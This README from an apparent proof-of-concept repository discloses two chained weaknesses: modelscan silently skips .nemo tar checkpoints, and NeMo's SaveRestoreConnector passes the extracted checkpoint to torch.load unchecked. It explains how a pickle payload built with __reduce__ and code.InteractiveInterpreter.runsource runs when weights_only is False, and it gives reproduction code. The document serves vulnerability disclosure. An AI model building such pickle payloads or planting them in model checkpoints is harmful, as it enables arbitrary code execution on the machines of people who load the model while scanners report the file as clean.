herdiyanitdev/nemo-checkpoint-scanner-blindspot-poc

NeMo .nemo checkpoint scanner blind spot plus unvalidated torch.load

This repository contains a proof of concept .nemo file demonstrating two chained issues in how .nemo files are scanned and loaded.

Files

• malicious.nemo: a tar archive, the same container shape NeMo's own SaveRestoreConnector produces (a model_config.yaml plus a model_weights.ckpt), except model_weights.ckpt is a pickle payload built with torch.save(Exploit(), ...) where Exploit.__reduce__ returns operator.methodcaller("runsource", "<python source>") bound to a code.InteractiveInterpreter() instance. On load, this compiles and executes the embedded Python source. The payload here just writes a marker file, it does not do anything destructive.

Part 1, the file is not scanned at all

pip install modelscan
modelscan -p malicious.nemo

Actual output:

No settings file detected at .../modelscan-settings.toml. Using defaults.

--- Summary ---

 No issues found! 🎉

--- Skipped ---

Total skipped: 1 - run with --show-skipped to see the full list.

Running with --show-skipped shows why:

The following file .../malicious.nemo was skipped during a ModelScan scan:
Model Scan did not scan file

modelscan's own supported format list is H5, Pickle, and SavedModel. It has no support for the .nemo tar container, so it never opens the archive to find the pickle payload inside. The scan result a user sees is the same celebratory "No issues found!" it would show for a genuinely clean file.

Part 2, how the payload actually runs

NeMo's nemo/core/connectors/save_restore_connector.py, SaveRestoreConnector._load_state_dict_from_disk:

@staticmethod
def _load_state_dict_from_disk(model_weights, map_location='cpu'):
    try:
        # Use torch's default weights_only handling so TORCH_FORCE_NO_WEIGHTS_ONLY_LOAD is honored.
        return torch.load(model_weights, map_location=map_location)
    except Exception as e:
        logging.error(f"Failed to load checkpoint: {e}")
        raise e

This is called on model_weights.ckpt after _unpack_nemo_file extracts it from the .nemo tar archive, with no additional validation of its contents. There is no signature check, no allowed class list, nothing beyond what torch.load itself does.

Reproduction, extracting model_weights.ckpt from malicious.nemo the same way NeMo does, then calling the exact function body above:

import tarfile, tempfile, os, torch

with tarfile.open("malicious.nemo", "r:") as tar:
    d = tempfile.mkdtemp()
    tar.extractall(d)
    model_weights = os.path.join(d, "model_weights.ckpt")

# Attempt A, current torch default (torch >= 2.6, weights_only defaults to True)
torch.load(model_weights, map_location="cpu")
# raises UnpicklingError, blocked by torch's own current default

# Attempt B, weights_only=False, matching torch < 2.6's own former default,
# or NeMo's own documented TORCH_FORCE_NO_WEIGHTS_ONLY_LOAD=1 escape hatch
torch.load(model_weights, map_location="cpu", weights_only=False)
# executes the payload

I ran both attempts for real. Attempt A is blocked by torch 2.12.1's current safe default. Attempt B executes the payload and writes the marker file. NeMo's current pyproject.toml requires torch>=2.6.0, so a fresh install on the latest NeMo with default settings is not exploitable through this exact call. The realistic exposure is pinned or older NeMo and torch installations, which are common in ML research and production environments that do not track the latest release, and any deployment that sets TORCH_FORCE_NO_WEIGHTS_ONLY_LOAD=1, an environment variable NeMo's own source comment explicitly names and accounts for.

Why this is not the trust_remote_code NeMo CVE

NVIDIA NeMo has a separate, already disclosed vulnerability, CVE-2025-33236, about trust_remote_code being hardcoded to True in HuggingFace model importers. That is a different code path entirely. This report is about SaveRestoreConnector and the .nemo checkpoint format specifically, and about modelscan's lack of .nemo support, neither of which is mentioned in the public writeups of that CVE.